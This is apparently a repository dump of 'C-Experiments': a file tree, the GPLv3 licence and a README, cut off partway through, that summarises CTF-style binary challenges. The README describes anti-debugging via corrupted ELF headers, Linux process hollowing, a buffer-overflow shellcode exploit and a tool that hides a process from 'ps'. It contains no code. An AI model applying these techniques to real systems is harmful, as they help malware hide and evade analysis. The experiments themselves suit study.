├── .DS_Store ├── LICENSE ├── README.md ├── corrupt ├── README.md ├── corrupt ├── corrupt_final.asm ├── corrupt_flag.txt ├── history │ ├── corrupt1.asm │ ├── corrupt2.asm │ └── corrupt3.asm ├── img │ ├── 1.png │ ├── 10.png │ ├── 11.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ └── 9.png └── solve.py ├── dynamic ├── README.md ├── dynamic ├── dynamic_final.c ├── dynamic_flag.txt ├── history │ ├── dynamic1.c │ ├── dynamic2.c │ └── dynamic3.c ├── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ └── objdump.png ├── mutate │ ├── mutate1.c │ └── mutate2.c └── solve.py ├── load ├── README.md ├── history │ ├── detect.cpp │ ├── load1.cpp │ └── load2.cpp ├── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ └── 7.png ├── load ├── load_final.cpp └── load_flag.txt ├── prochollow ├── README.md ├── hello ├── hello_final.c ├── history │ ├── hello1 │ ├── hello1.c │ ├── hello2 │ ├── hello2.c │ ├── prochollow1.c │ └── prochollow2.c ├── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ └── 5.png ├── intercept │ ├── hello │ ├── hello.c │ ├── intercept │ └── intercept.c ├── proc ├── prochollow_final.c └── shellcode │ ├── shellcode │ └── shellcode.c ├── pshide ├── Makefile ├── README.md ├── evil.py └── processhider.c ├── reboot ├── Makefile ├── README.md ├── history │ ├── print.asm │ ├── read.asm │ ├── reboot.asm │ └── shell.c ├── img │ ├── 1.png │ ├── 2.png │ └── 3.png ├── reboot └── reboot.c ├── rewrite ├── README.md ├── history │ ├── hide_initial.cc │ ├── hide_secret.c │ ├── read_write_heap.py │ ├── rewrite1.c │ ├── rewrite2.c │ └── rewrite3.cc ├── img │ ├── 1.png │ ├── 10.png │ ├── 11.png │ ├── 12.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ └── 9.png ├── rewrite ├── rewrite-optimized ├── rewrite_final.cc ├── rewrite_flag.txt └── solve.py └── screwed ├── README.md ├── img ├── 1.png └── 2.png ├── screwed32 ├── screwed64 ├── sources ├── screwed32.c ├── screwed64.c └── test.c ├── test32 └── test64 /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/.DS_Store -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # C-Experiments 2 | [![](https://img.shields.io/badge/Category-Binary%20Exploitation-E5A505?style=flat-square)]() [![](https://img.shields.io/badge/Language-C%20%2f%20C++%20%2f%20ASM-E5A505?style=flat-square)]() [![](https://img.shields.io/badge/Version-1.4-E5A505?style=flat-square&color=green)]() 3 | 4 | Experiments on C Exploits 5 | 6 | ## Environment 7 | 8 | - 64 bit Linux Systems 9 | 10 | ## Completed Challenges 11 | 12 | ### - Dynamic (c) 13 | 14 | - Loads string compare function on runtime 15 | - Self modifies strlen comparison value 16 | - Hides string using bit addition 17 | 18 | ### - Load (cpp) 19 | 20 | - Loads compiled library file on runtime 21 | - Loads string compare function from loaded library 22 | - Hides string using XOR from templates 23 | 24 | ### - Rewrite (cc) 25 | 26 | - Spawns/Clones secondary process for self modification 27 | - Secondary process modifies the heap from /proc/{pid}/mem of primary process 28 | - Hides string using bit addition 29 | 30 | ### - Corrupt (asm) 31 | 32 | - Collapsed ELF header with precompiled statically linked _start function 33 | - Uses truncated input as key, for decoding of flag 34 | - Anti-debugging from corrupted header and invalid executable entry point e_entry 35 | 36 | ### - Reboot (c) 37 | 38 | - Logistic differential equation to "predict" randomized canary values 39 | - 34 byte overflow vulnerable shellcode array stored as reboot shellcode 40 | - Buffer overflow for canary, egghunter shellcode and XOR exploit decoding 41 | 42 | ## Extras 43 | 44 | ### - Screwed (c) 45 | 46 | - Corrupts ELF 64-bit or 32-bit headers with 0xffff values for e_shoff, e_shnum and e_shstrndx 47 | - Binary is still able to be run normally, but crashes when debugged 48 | 49 | ### - Prochollow (c) 50 | 51 | - Proof of work for Linux process hollowing 52 | - Spawns/Clones secondary process for self modification 53 | - Secondary process modifies the main function from /proc/{pid}/mem of primary process 54 | 55 | ### - psHide (c) 56 | 57 | - Searches process name using directory and pid 58 | - Forces ```ps aux``` to skip process by process name, thus hiding from process list 59 | 60 | ## Methodology 61 